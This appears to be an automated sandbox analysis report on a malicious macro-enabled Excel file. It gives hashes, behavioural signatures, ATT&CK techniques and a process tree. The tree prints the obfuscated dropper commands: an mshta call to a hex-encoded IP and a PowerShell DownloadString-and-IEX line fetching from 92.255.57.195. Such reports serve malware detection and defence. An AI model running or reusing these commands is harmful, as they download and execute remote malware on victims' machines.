515c9e3ac18310c9234c70c9b9b782b3b7cf48fe16da7547ca683acc944ad997

General

Target

2357791489929.xlsm
Size

114KB
MD5

59bb12f8b33655197b483c1612fdf069
SHA1

c676bb82a91acfed31a84ddc9c7835a0cf33414d
SHA256

515c9e3ac18310c9234c70c9b9b782b3b7cf48fe16da7547ca683acc944ad997
SHA512

4ce89ab6398de3fe479935723875f24b44009018416b936aadeabbf7e76c0d4ec0de9fad8497508d6dc61c46a0d8f5af1ba74dc4374bee4834a707d3e1a9b166

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3912	1224	cmd.exe	EXCEL.EXE

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 2232 created 3580 2232 WerFault.exe mshta.exe
Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

17 3580 mshta.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3596 3580 WerFault.exe mshta.exe

description	pid	process	target process
PID 2232 created 3580	2232	WerFault.exe	mshta.exe

flow	pid	process
17	3580	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	pid_target	process	target process
3596	3580	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1224 EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE
1224	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exeWerFault.exe

description	pid	process	target process
PID 1224 wrote to memory of 3912	1224	EXCEL.EXE	cmd.exe
PID 1224 wrote to memory of 3912	1224	EXCEL.EXE	cmd.exe
PID 3912 wrote to memory of 3580	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 3580	3912	cmd.exe	mshta.exe
PID 3580 wrote to memory of 988	3580	mshta.exe	powershell.exe
PID 3580 wrote to memory of 988	3580	mshta.exe	powershell.exe
PID 2232 wrote to memory of 3580	2232	WerFault.exe	mshta.exe
PID 2232 wrote to memory of 3580	2232	WerFault.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2357791489929.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/sec.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:988
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3580 -s 1724
      4⤵
      Program crash
      PID:3596

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 424 -p 3580 -ip 3580
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:2232

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1224-130-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/1224-131-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/1224-132-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/1224-133-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/1224-134-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

Filesize
64KB

Download
memory/1224-137-0x00007FF9ED3D0000-0x00007FF9ED3E0000-memory.dmp

Filesize
64KB

Download
memory/1224-138-0x00007FF9ED3D0000-0x00007FF9ED3E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads